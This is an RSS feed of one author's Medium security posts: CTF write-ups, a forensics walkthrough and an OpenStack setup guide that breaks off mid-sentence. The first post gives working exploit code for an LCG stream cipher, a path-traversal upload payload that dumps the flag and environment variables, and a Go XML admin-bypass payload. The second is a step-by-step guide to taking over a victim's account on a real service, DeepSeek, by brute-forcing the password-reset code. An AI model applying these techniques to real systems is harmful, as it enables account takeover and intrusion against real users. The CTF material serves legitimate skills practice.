<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Radeel Ahmad on Medium]]></title>
        <description><![CDATA[Stories by Radeel Ahmad on Medium]]></description>
        <link>https://medium.com/@radeel-a20?source=rss-1c9abff0266a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*OiWveLnoFrIRzHObdQe8jA.jpeg</url>
            <title>Stories by Radeel Ahmad on Medium</title>
            <link>https://medium.com/@radeel-a20?source=rss-1c9abff0266a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 22:49:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@radeel-a20/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[BlackHat MEA CTF Qualification 2025]]></title>
            <link>https://radeel-a20.medium.com/blackhat-mea-ctf-qualification-2025-ec627a38565b?source=rss-1c9abff0266a------2</link>
            <guid isPermaLink="false">https://medium.com/p/ec627a38565b</guid>
            <category><![CDATA[blackhat-mea]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[blackhat]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Radeel Ahmad]]></dc:creator>
            <pubDate>Wed, 01 Oct 2025 10:30:17 GMT</pubDate>
            <atom:updated>2025-10-01T10:30:17.935Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y6kQlKAQmulATQ_-gKYT_Q.png" /></figure><p>In this blog, I’m sharing one crypto challenge and two web challenges from the Black Hat MEA 2025 Qualification Round that really pushed me to sharpen my skills.</p><h3>Crypto — Hatagava I</h3><p>Following file was given to us in order to solve the challenge.</p><pre>~/CTF/BHMEA-25-Quals/Hatagawa I ❯ cat hatagawa.py                                                                                                               04:44:41 PM<br>#!/usr/bin/env python3<br>#<br># BlackHat MEA CTF 2025 Qualifiers :: Hatagawa I<br>#<br>#<br># Documentation imports<br>from __future__ import annotations<br>from typing import Tuple, List, Dict, NewType, Union<br># Native imports<br>from secrets import randbelow<br>import os<br># External dependencies<br># None<br># Flag import<br>FLAG = os.environ.get(&#39;DYN_FLAG&#39;, &#39;BHFlagY{D3BUGG1NG_1S_FUN}&#39;)<br>if isinstance(FLAG, str):<br>    FLAG = FLAG.encode()<br><br># Helper functions<br># None<br><br># Challenge classes<br>class Kawa:<br>    &quot;&quot;&quot; 川 &quot;&quot;&quot;<br>    def __init__(self, par: Tuple[int], seed: int) -&gt; None:<br>        self.a, self.c, self.m = par<br>        self.x = seed<br>    def Get(self) -&gt; bytes:<br>        &quot;&quot;&quot; Generates and outputs the next internal state as bytes. &quot;&quot;&quot;<br>        self.x = (self.a * self.x + self.c) &amp; self.m<br>        return self.x.to_bytes(-(-self.m.bit_length() // 8), &#39;big&#39;)<br>    <br>class Hata:<br>    &quot;&quot;&quot; 旗 &quot;&quot;&quot;<br>    def __init__(self, entropy: object) -&gt; None:<br>        self.entropy = entropy<br>    def Encrypt(self, msg: bytes) -&gt; bytes:<br>        &quot;&quot;&quot; Encrypts a message using a one-time pad generated from entropy source. &quot;&quot;&quot;<br>        otp = b&#39;&#39;<br>        while len(otp) &lt; len(msg):<br>            otp += self.entropy.Get()<br>        return bytes([x ^ y for x,y in zip(msg, otp)])<br><br># Main loop<br>if __name__ == &quot;__main__&quot;:<br>    # Challenge parameters<br>    MOD = 2**64 - 1<br>    MUL = (randbelow(MOD &gt;&gt; 3) &lt;&lt; 3) | 5<br>    ADD = randbelow(MOD) | 1<br><br>    # Challenge setup<br>    hatagawa = Hata(Kawa((MUL, ADD, MOD), randbelow(MOD)))<br>    RIVER = r&quot;&quot;&quot;|<br>|  ////\\\,,\///,,,,,\,/,\\,//////,\,,\\\,,\\\/,,,\,,//,\\\,<br>|   ~ ~~~~ ~~ ~~~~~~~ ~ ~~ ~~~~~~ ~  ~~~    ~~~ ~~~ ~~   ~~<br>|    ~~~~~~~  ~~~~~~   ~~~ ~ ~~~~~ ~~ ~~~~~~~ ~ ~~ ~~~~~<br>|   ~~~ {} ~<br>|    ~~~  ~   ~~~~~  ~~~~ ~ ~~~~   ~~~~~ ~~~~   ~~~ ~ ~~~~~<br>|   ~~~ ~  ~~~~~  ~  ~~  ~  ~~~~ ~~~ ~~   ~~ ~~~~~~~ ~ ~~<br>|  \\\\\&#39;&#39;&#39;\\&#39;////&#39;//&#39;\&#39;&#39;\\\/&#39;&#39;&#39;\&#39;&#39;//&#39;\\\&#39;&#39;\///&#39;&#39;&#39;&#39;\&#39;/&#39;\\&#39;//&quot;&quot;&quot;<br>    print(RIVER.format(&#39; &#39;*21 + &#39;旗    川&#39; + &#39; &#39;*21))<br><br>    # Main loop<br>    userOptions = [&#39;Stay a while...&#39;]<br>    TUI = &quot;|\n|  Menu:\n|    &quot; + &quot;\n|    &quot;.join(&#39;[&#39; + i[0] + &#39;]&#39; + i[1:] for i in userOptions) + &quot;\n|    [W]alk away\n|&quot;<br>    while True:<br>        try:<br>            print(TUI)<br>            choice = input(&#39;|  &gt; &#39;).lower()<br>            # [W]alk away<br>            if choice == &#39;w&#39;:<br>                print(&quot;|\n|  [~] You turn your back to the river...\n|&quot;)<br>                break<br>            # [S]tay a while...<br>            elif choice == &#39;s&#39;:<br>                print(&quot;|\n|  [~] Look! Is that a flag floating by?&quot;)<br>                print(RIVER.format(hatagawa.Encrypt(FLAG).hex()))<br>            else:<br>                print(&quot;|\n|  [!] Invalid choice.&quot;)<br>        except KeyboardInterrupt:<br>            print(&quot;\n|\n|  [~] Goodbye ~ !\n|&quot;)<br>            break<br>        except Exception as e:<br>            print(&#39;|\n|  [!] {}&#39;.format(e))%</pre><h4>Code Explanation:</h4><p>This challenge defines a custom stream cipher using the Kawa class, which is just a linear congruential generator (LCG) producing a pseudo-random stream, and the Hata class, which XORs that stream with the flag (a one-time pad style). The issue is that the generator’s parameters (a, c, m) and seed are randomized only once at runtime, but then reused every time the player selects <strong>“Stay a while…”</strong>. Because XOR encryption is reversible, if an attacker can obtain multiple ciphertexts from the same keystream, they can recover the flag by brute-forcing the small state space of the LCG or by exploiting keystream reuse to cancel out differences. In short, the vulnerability is that the “one-time pad” isn’t truly one-time—repeated use of the same LCG state allows the flag to be decrypted.</p><h4>Exploit</h4><pre>#!/usr/bin/env python3<br># -*- coding: utf-8 -*-<br>import re, socket, time, string<br>from typing import List, Tuple<br>MOD = 1 &lt;&lt; 64<br>FLAG_PREFIX = b&quot;BHFlagY{&quot;<br>def v2(n: int) -&gt; int:<br>    if n == 0: return 64<br>    t = 0<br>    while (n &amp; 1) == 0:<br>        n &gt;&gt;= 1; t += 1<br>    return t<br>def pow2_sqrt_mod_2n(A: int, nbits: int = 64) -&gt; int:<br>    assert A &amp; 1 == 1 and (A &amp; 7) == 1<br>    r = 1<br>    for i in range(3, nbits):<br>        mod = 1 &lt;&lt; (i + 1)<br>        d = (A - (r * r % mod)) % mod<br>        tbit = (d &gt;&gt; i) &amp; 1<br>        r = (r + (tbit &lt;&lt; (i - 1))) % mod<br>    return r % (1 &lt;&lt; nbits)<br>def all_square_roots(A: int, nbits: int = 64):<br>    r = pow2_sqrt_mod_2n(A, nbits)<br>    mod = 1 &lt;&lt; nbits<br>    return sorted({r % mod, (-r) % mod, (r + (1 &lt;&lt; (nbits - 1))) % mod, ((-r) + (1 &lt;&lt; (nbits - 1))) % mod})<br>def kth_roots_general(A_full: int, k: int, nbits: int = 64):<br>    if A_full &amp; 1 == 0: return []<br>    mod = 1 &lt;&lt; nbits; q, r = k, 0<br>    while q % 2 == 0: q //= 2; r += 1<br>    roots = [A_full]<br>    for _ in range(r):<br>        new = []<br>        for val in roots:<br>            if (val &amp; 7) != 1: continue<br>            new.extend(all_square_roots(val, nbits))<br>        roots = sorted(set(new))<br>        if not roots: return []<br>    if q == 1: return roots<br>    lam = 1 &lt;&lt; (nbits - 2)<br>    e = pow(q, -1, lam)<br>    return sorted({pow(R, e, mod) for R in roots})<br>HEX_RE = re.compile(rb&quot;\b[0-9a-f]{16,}\b&quot;)<br>def recv_until(sock: socket.socket, marker: bytes, timeout: float = 5.0) -&gt; bytes:<br>    sock.settimeout(timeout); buf = b&quot;&quot;<br>    while marker not in buf:<br>        chunk = sock.recv(4096)<br>        if not chunk: break<br>        buf += chunk<br>    return buf<br>def recv_some(sock: socket.socket, timeout: float = 1.0) -&gt; bytes:<br>    sock.settimeout(timeout)<br>    try: return sock.recv(4096)<br>    except Exception: return b&quot;&quot;<br>def get_ciphertext_hex(sock: socket.socket) -&gt; bytes:<br>    sock.sendall(b&quot;s\n&quot;); time.sleep(0.05)<br>    data = recv_some(sock, 1.0)<br>    data += recv_some(sock, 1.0) + recv_some(sock, 1.0)<br>    m = HEX_RE.search(data)<br>    if not m:<br>        data += recv_until(sock, b&quot;Menu:&quot;, 3.0)<br>        m = HEX_RE.search(data)<br>    if not m: raise RuntimeError(&quot;Could not find ciphertext hex&quot;)<br>    return m.group(0)<br>def go_back(sock: socket.socket):<br>    try: sock.sendall(b&quot;w\n&quot;)<br>    except Exception: pass<br>def solve_from_ciphertexts(ciphertexts: List[bytes]) -&gt; Tuple[bytes, int, int]:<br>    if len(ciphertexts) &lt; 3: raise ValueError(&quot;need at least 3 ciphertexts&quot;)<br>    L = len(ciphertexts[0]); k = (L + 7) // 8<br>    def get_y(ct: bytes) -&gt; int:<br>        return int.from_bytes(bytes([ct[i] ^ FLAG_PREFIX[i] for i in range(8)]), &quot;big&quot;)<br>    y = [get_y(ct) for ct in ciphertexts]<br>    d1 = (y[1] - y[0]) % MOD; d2 = (y[2] - y[1]) % MOD; t = v2(d1)<br>    modA = 1 &lt;&lt; (64 - t); inv_d1 = pow((d1 &gt;&gt; t) % modA, -1, modA)<br>    A_est = (((d2 - d1) &gt;&gt; t) * inv_d1) % modA; A_est = (A_est + 1) % modA<br>    candidates = []<br>    for qadd in range(1 &lt;&lt; t):<br>        A_full = (A_est + qadd * modA) % MOD<br>        a_roots = [a for a in kth_roots_general(A_full, k, 64) if (a &amp; 7) == 5]<br>        if not a_roots: continue<br>        for a in a_roots:<br>            ak = pow(a, k, MOD); S = 0; p = 1<br>            for _ in range(k): S = (S + p) % MOD; p = (p * a) % MOD<br>            delta = (y[1] - (ak * y[0]) % MOD) % MOD; tS = v2(S)<br>            base_mod = 1 &lt;&lt; (64 - tS)<br>            inv_Sodd = pow((S &gt;&gt; tS) % base_mod, -1, base_mod)<br>            c_mod = ((delta &gt;&gt; tS) * inv_Sodd) % base_mod<br>            for lift in range(1 &lt;&lt; tS):<br>                c = (c_mod + lift * base_mod) % MOD<br>                if (c &amp; 1) == 0: continue<br>                Bcalc = (c * S) % MOD<br>                if (ak * y[0] + Bcalc) % MOD != y[1]: continue<br>                if (ak * y[1] + Bcalc) % MOD != y[2]: continue<br>                state = y[0]; ks = state.to_bytes(8, &quot;big&quot;)<br>                for _ in range(1, k): state = (a * state + c) % MOD; ks += state.to_bytes(8, &quot;big&quot;)<br>                ks = ks[:L]; pt = bytes(ci ^ ki for ci, ki in zip(ciphertexts[0], ks))<br>                if not pt.startswith(FLAG_PREFIX): continue<br>                if pt[-1:] != b&quot;}&quot;: continue<br>                inner = pt[8:-1]; allowed = set((string.ascii_letters + string.digits + &quot;_&quot;).encode())<br>                if not all(b in allowed for b in inner): continue<br>                state2 = y[1]; ks2 = state2.to_bytes(8, &quot;big&quot;)<br>                for _ in range(1, k): state2 = (a * state2 + c) % MOD; ks2 += state2.to_bytes(8, &quot;big&quot;)<br>                ks2 = ks2[:L]; pt2 = bytes(ci ^ ki for ci, ki in zip(ciphertexts[1], ks2))<br>                if pt2 != pt: continue<br>                candidates.append((pt, a, c))<br>    uniq = []; seen = set()<br>    for pt, a, c in candidates:<br>        if (a, c) in seen: continue<br>        uniq.append((pt, a, c)); seen.add((a, c))<br>    if not uniq: raise RuntimeError(&quot;No valid (a,c) found&quot;)<br>    if len(uniq) &gt; 1:<br>        for pt, a, c in uniq:<br>            state3 = int.from_bytes(bytes([ciphertexts[2][i] ^ FLAG_PREFIX[i] for i in range(8)]), &quot;big&quot;)<br>            s = state3; ks3 = s.to_bytes(8, &quot;big&quot;)<br>            for _ in range(1, k): s = (a * s + c) % MOD; ks3 += s.to_bytes(8, &quot;big&quot;)<br>            ks3 = ks3[:len(ciphertexts[2])]<br>            pt3 = bytes(ci ^ ki for ci, ki in zip(ciphertexts[2], ks3))<br>            if pt3 == pt: return pt, a, c<br>        raise RuntimeError(&quot;Multiple candidates left&quot;)<br>    return uniq[0]<br>def fetch_ciphertexts(host: str, port: int, min_samples: int = 4, max_samples: int = 8) -&gt; List[bytes]:<br>    cts: List[bytes] = []<br>    with socket.create_connection((host, port), timeout=5.0) as s:<br>        banner = recv_until(s, b&quot;Menu:&quot;, 5.0)<br>        if not banner: raise RuntimeError(&quot;No menu received&quot;)<br>        for _ in range(max_samples):<br>            ct_hex = get_ciphertext_hex(s)<br>            ct = bytes.fromhex(ct_hex.decode()); cts.append(ct)<br>            if len(cts) &gt;= min_samples: break<br>        go_back(s)<br>    Ls = {len(c) for c in cts}<br>    if len(Ls) != 1: raise RuntimeError(&quot;Ciphertexts length mismatch&quot;)<br>    return cts<br>def main():<br>    host = &quot;&lt;HOST&gt;&quot;; port = &lt;PORT&gt;<br>    cts = fetch_ciphertexts(host, port, min_samples=4, max_samples=8)<br>    flag, a, c = solve_from_ciphertexts(cts)<br>    print(flag.decode(errors=&quot;ignore&quot;))<br>if __name__ == &quot;__main__&quot;: main()</pre><p>The exploit connects to the challenge service and repeatedly requests encrypted outputs of the same flag. Since the flag format (BHFlagY{...}) gives a known plaintext prefix, the attacker can XOR ciphertext blocks with this prefix to recover the internal state of the linear congruential generator (LCG) that generates the keystream. By comparing multiple successive states, it solves for the multiplier a and increment c of the LCG modulo 2642^{64}264. Once the LCG parameters are recovered, the keystream can be fully reconstructed, allowing decryption of the ciphertexts and recovery of the original flag. This breaks the scheme because the same pseudorandom stream is reused instead of being a true one-time pad.</p><h4>Solving the challenge locally</h4><pre>~/CTF/BHMEA-25-Quals/Hatagawa I ❯ python3 local.py<br>BHFlagY{D3BUGG1NG_1S_FUN}</pre><h3>Web — Hash Generator</h3><p>This is a small Flask app that accepts hash files, attempts to crack them, and returns results. It stores uploaded files in a hashes directory and executes a local script /app/crack to process them.</p><p>Before moving on, quickly set up the environment locally:</p><p>Add this line before<strong> </strong><strong>USER app</strong> in the Dockerfile to create a dummy flag for testing:</p><pre>RUN echo &quot;LOCALFLAG{test_flag_123}&quot; &gt; /flag</pre><p>Build and run the container:</p><pre>docker build -t hash-factory .<br>docker run -it --rm -p 5000:5000 hash-factory</pre><h4>Vulnerable Code</h4><p>In main.py:</p><pre>hash_file.save(path := hashes / hash_file.filename)</pre><ul><li>hash_file.filename comes <strong>directly from the user</strong>.</li><li>You can supply ../crack as the filename.</li><li>This <strong>escapes the </strong><strong>hashes directory</strong> and overwrites the /app/crack script.</li></ul><h4>How it gets compromised</h4><p>Later in the code:</p><pre>crack_results = check_output([&quot;/app/crack&quot;, path], text=True)</pre><ul><li>The app executes /app/crack for every uploaded file.</li><li>By overwriting /app/crack with your own Python script, the server now executes your code instead of the original hash cracker.</li></ul><h4>Exploit script</h4><p>Create a file crack.py with the following content:</p><pre>#!/usr/bin/env python3<br>import os<br>print(&quot;hash_factory v1.0:&quot;)<br>flag_path = &quot;/app/flag&quot;<br>try:<br>    with open(flag_path, &quot;r&quot;) as f:<br>        print(f.read().strip())<br>except FileNotFoundError:<br>    print(&quot;[fallback] listing / and env...&quot;)<br>    print(&quot;\n&quot;.join(os.listdir(&quot;/&quot;)))<br>    for k, v in os.environ.items():<br>        print(f&quot;{k}={v}&quot;)</pre><p>Use curl to overwrite /app/crack and get the flag:</p><pre>curl -s -F &#39;hash_file=@crack.py;filename=../crack&#39; http://127.0.0.1:5000/</pre><p><strong>Output:</strong></p><pre>&lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdn.jsdelivr.net/npm/@picocss/pico@2/css/pico.min.css&quot; /&gt;<br>&lt;div style=&quot;width:48rem;margin:2rem auto;&quot;&gt;&lt;pre&gt;hash_factory v1.0:<br>LOCALFLAG{test_flag_123}<br>&lt;/pre&gt;&lt;/div&gt;</pre><h3>Web — Go-brr</h3><p>This challenge is a web application that combines a Go-based authentication service and a Flask frontend. The goal is to bypass the admin check and retrieve the flag.</p><p>Build and run the app locally:</p><pre>docker-compose build<br>docker build -t go-brr-app .<br>docker-compose up</pre><p>Now the application should be running:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PeFsaxQ04emLweaiumEmrQ.png" /></figure><h4>Vulnerability Explanation</h4><p>The Go User struct</p><pre>type User struct {<br>    Username string `json:&quot;username&quot; xml:&quot;username&quot;`<br>    Password string `json:&quot;password&quot; xml:&quot;password&quot;`<br>    IsAdmin  bool   `json:&quot;-&quot;  xml:&quot;-,omitempty&quot;`<br>}</pre><ul><li>IsAdmin is <strong>not supposed to come from XML or JSON</strong>.</li><li>However, <strong>Go’s </strong><strong>encoding/xml can be tricked</strong> with a malformed XML tag like:</li></ul><pre>&lt;A:-&gt;True&lt;/A:-&gt;</pre><ul><li>Normally, Go ignores unknown fields, but a specially crafted XML can populate private or omitted fields (IsAdmin).</li></ul><p>Example payload:</p><pre>&lt;User&gt;<br>  &lt;username&gt;alice&lt;/username&gt;<br>  &lt;password&gt;supersecret&lt;/password&gt;<br>  &gt;<br>  &lt;A:-&gt;True&lt;/A:-&gt;<br>&lt;/User&gt;</pre><p>This sets IsAdmin = true internally.</p><h4>Flask trusts Go</h4><pre>check = requests.post(auth_service_url, json=data).text<br>if check == &#39;&quot;Authorized&quot;&#39;:<br>    session[&#39;is_admin&#39;] = True</pre><ul><li>Once Go returns &quot;Authorized&quot;, Flask sets session[&#39;is_admin&#39;] = True.</li><li>The session now grants admin privileges.</li></ul><h4>Creating a user</h4><ul><li>Intercept a request to /user, change it to POST and set Content-Type to application/json.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J5GszgwuV_k2shurKjpxHw.png" /></figure><ul><li>After this request, the session is marked as admin.</li></ul><h4>Access /admin</h4><ul><li>Flask checks only session[&#39;is_admin&#39;] for /admin.</li><li>By opening the request in the browser and changing /user → /admin, you can access the admin route and retrieve the flag:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HI8hp1UspArYnco05gaKMQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ec627a38565b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Deepseek Vulnerability]]></title>
            <link>https://radeel-a20.medium.com/deepseek-vulnerability-2e28a8e3d879?source=rss-1c9abff0266a------2</link>
            <guid isPermaLink="false">https://medium.com/p/2e28a8e3d879</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[deepseek]]></category>
            <category><![CDATA[deepseek-vulnerability]]></category>
            <category><![CDATA[exploitation]]></category>
            <dc:creator><![CDATA[Radeel Ahmad]]></dc:creator>
            <pubDate>Wed, 29 Jan 2025 14:13:06 GMT</pubDate>
            <atom:updated>2025-07-30T05:39:48.441Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article, I will provide a step-by-step guide on exploiting the ‘Forgot Password’ vulnerability. This exploit enables an attacker to gain unauthorized access to any account without necessitating user interaction</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ifpRn5NL27r3LJa1EgCPaA.png" /></figure><blockquote><strong><em>Requirements</em></strong></blockquote><ul><li>victim’s Gmail account</li><li>Burp Suite</li></ul><p><strong>Let’s start…</strong></p><p>Open the Deepseek login page, click on ‘Forgot Password,’ and enter the victim’s account. Then, click on ‘Send Code.’ In Burp Suite, intercept the request, click ‘Continue,’ and capture the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*bRHoUTRdXV84vfN50vFNWA.png" /></figure><p>You can see that we have captured this request. Now, send it to the Intruder in Burp Suite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KbqnHQyt5tJdUIUTAZXcyw.png" /></figure><p>Select the verification code and click on <strong>Add$</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oL1aFvc95ZOErZfA_0oQ7w.png" /></figure><p>Select the payload type as <strong>Numbers</strong> and set the range. Since the verification code contains six digits, choose a range from <strong>111111</strong> to <strong>999999</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*1ssPYrRkZYM2qI3fETdLJw.png" /></figure><p>Go to the settings, clear all existing words, and then add the word <strong>success</strong>.</p><h3><strong>Why Select “success”?</strong></h3><ul><li>When performing a brute-force attack on a <strong>verification code</strong>, we need to identify the correct response from the server.</li><li>The <strong>Grep — Match</strong> feature highlights responses that contain a specific keyword.</li><li>In many web applications, a <strong>successful verification</strong> returns a message like <strong>“success”</strong> in the response.</li><li>By adding <strong>“success”</strong> here, Burp Suite will flag any response that includes this word, helping us quickly identify the correct verification code.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*Zhs2dhJt-70Fqbp1a-V_qQ.png" /></figure><p>Start the attack, it will take some time to perform due to the large number of items in the list.</p><p>you can see that the attack was successfully performed as it gives us a success response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*BhDF4BzjJmqd6atPoYIG7Q.png" /></figure><p>Now, we have changed the verification code to 381675 and forwarded the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DgbEjpQoABTMXlfdL-wZug.png" /></figure><p>When we forward the request and check in the browser, it asks us to change the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*M84Elvr6hHxWKqDkeVre0w.png" /></figure><p>Now, you change the password and gain access to the victim’s DeepSeek account.</p><p><strong>Thank You</strong> for reading this article. I hope that you have found this information provided to be valuable and helpful. Use it for educational purposes only…. 🙂</p><p><strong>RADEEL AHMAD</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e28a8e3d879" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BlackHat MEA CTF Qualification 2024]]></title>
            <link>https://radeel-a20.medium.com/blackhat-mea-ctf-qualification-2024-3654e23aa464?source=rss-1c9abff0266a------2</link>
            <guid isPermaLink="false">https://medium.com/p/3654e23aa464</guid>
            <category><![CDATA[blackhat]]></category>
            <category><![CDATA[bhmea24]]></category>
            <category><![CDATA[blackhat-mea]]></category>
            <dc:creator><![CDATA[Radeel Ahmad]]></dc:creator>
            <pubDate>Thu, 28 Nov 2024 10:57:08 GMT</pubDate>
            <atom:updated>2024-12-17T09:49:24.977Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y8aE86OcxsgeJj-7ytS7qw.png" /></figure><p>In this blog, I’m sharing two forensic challenges from the Black Hat MEA 2024 Qualification Round that really pushed me to sharpen my skills. These challenges were a great learning experience, helping me dive deeper into the field of digital forensics. The team rating is given as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oMOxRs3_5aNhxBl6mP1HwQ.png" /></figure><p><strong>Challenge #1: </strong>Artifact (Easy)<br><strong>Description:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*X0XuYHXc9Oug_eud.png" /></figure><p><strong>Solution: </strong>The attached file is named “execution”. The file-type is given as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/443/0*BlFI2NTSMEicGQPY.png" /></figure><p>Upon searching online and reading writeups, I figured that one way to view this registry file is to use <strong>RegRipper</strong> tool and extract the necessary information. I searched all the .exe files and what I found interesting is given as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*juxnsN7V5PTfdAGh.png" /></figure><p>This grabbed my attention because <strong>Deadpotato</strong> is a <strong>Windows Privilege Escalation utility</strong>, part of the well-known “Potato” family of exploits. These exploits are widely recognized for their clever methods of escalating privileges on Windows systems. After aligning the information with the required flag format, the challenge was solved!</p><p><strong>Flag: BHFlagY{DeadPotato-NET4.exe_09/08/2024_22:42:13}</strong></p><p><strong>Challenge #2:</strong> NotFS (Medium)<br><strong>Description:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/0*g6e73m7H4NEWq7vX.png" /></figure><p><strong>Solution: </strong>Upon downloading and extracting the file, we get a Raw Disk Image which as given as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*v5gldsrrHR1YcYMJ.png" /></figure><p>The challenge description made it clear that the file needed to be repaired for proper analysis. With this in mind, I opened the image file in <strong>HxD</strong> to get a closer look and discovered the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4cU_Z-41XmA-8iCm.png" /></figure><p>There is an indication of <strong>NTFS file system </strong>at <strong>Offset 0x100000</strong>. Now, there are two solutions to this challenge which are given as:</p><p><strong>Solution #1: </strong>After going through numerous writeups online, I found several tools for recovering and fixing lost partitions. However, the one that stood out and worked best was TestDisk. Here’s a breakdown of the analysis:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qNJimtqLpudAF1ic.png" /></figure><p>The sector size of Linux partition intrigued me, causing me to select the partition and perform a deeper scan which is shown as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*r-G356DQJJ6NEO4s.png" /></figure><p>Once the deep search was complete, the next step was to change the partition type to <strong>HPFS-NTFS</strong> and then <strong>list files</strong> to verify if it resolved the issue. This adjustment was key in checking if the partition was recoverable and functioning correctly. To see if this worked, the files were listen and the following result was given:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RzT--K0lDKQC0YCQ.png" /></figure><p>Now, all of the files were copied to a specific directory and were given as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6GTJZaFag93ItPAe.png" /></figure><p>All the files had thumbnails, indicating they were intact — except for one: <strong><em>“DALL·E 2024–08–08 07.08.12 — A bustling scene at Black Hat MEA (Middle East &amp; Africa) cybersecurity event. The image includes a large exhibition hall filled with booths from vario.png”</em>.</strong> I opened this file in <strong>hex editor </strong>to analyze the headers and quickly discovered that the file headers were incorrect, signaling an issue with the file. The analysis of headers is given as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2k5KZbVnhiW8lWyA.png" /></figure><p>Changing the file headers to the following gives us the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Rt5VI1pR2ctV1Xzq.png" /></figure><p><strong>Solution #2: </strong>As discussed earlier, the NTFS file system starts at <strong>Offset 0x100000</strong>, let’s try and mount that specific portion of the image. Starting by mapping the disk image to loop device <strong>loop1 </strong>as follows:</p><pre>sudo losetup /dev/loop1 Chall.img</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/0*uIp-xlzO0rWhgt50.png" /></figure><p>Now that loop1 is mapped, let’s try and mount the loop device from the specified <strong>offset 0x100000 </strong>and listing the files as follows:</p><pre>sudo mount -o loop,offset=$((0x100000)) /dev/loop1 /mnt/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pbh6a26Bj0KZ7wyz.png" /></figure><p>Repeat the process of header correction here and retrieve the flag!</p><p><strong>Flag: BHFlagY{8bd8dc3ea7636c5fb8aeb}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3654e23aa464" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kypo OpenStack]]></title>
            <link>https://radeel-a20.medium.com/openstack-c1e62a16be54?source=rss-1c9abff0266a------2</link>
            <guid isPermaLink="false">https://medium.com/p/c1e62a16be54</guid>
            <category><![CDATA[cyber-range]]></category>
            <category><![CDATA[openstack]]></category>
            <category><![CDATA[deployment]]></category>
            <dc:creator><![CDATA[Radeel Ahmad]]></dc:creator>
            <pubDate>Mon, 19 Aug 2024 17:12:30 GMT</pubDate>
            <atom:updated>2025-01-10T12:01:16.945Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article, I will provide a detailed method for deploying <strong>OpenStack</strong> on <strong>CentOS 8</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hylk1guvuNmg4jefgdmJ6Q.png" /></figure><blockquote><strong>Requirement</strong></blockquote><ul><li>CentOS 8</li><li>VMware</li><li><a href="https://github.com/RadeelAhmad/OpenStack/tree/main/yum.repos.d">Configuration file</a></li></ul><p><strong>Let’s Start…</strong></p><p>First of all, you need to configure your VMware according to the following screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/331/1*gLgwHp0UiQE_Wvp6CaRLAg.png" /></figure><p>I set RAM to 32 GB but you set it to 8 GB minimum, depending upon your RAM size, and Processor set to 32.</p><p>Add 5 hard drives, 100 GB for CentOS, which is already available starting from 20 GB. Additionally, we need 4 local hard drives for installing various VMs on Open Stack. The sizes of these local hard drives range from 30 GB to 50 GB.</p><p>Add 3 network adapters to the CentOS VM configuration in VMware settings. One adapter is already available, and you need to add 2 more.</p><p>Your cent OS Network Adapter should be at <strong>NAT</strong> 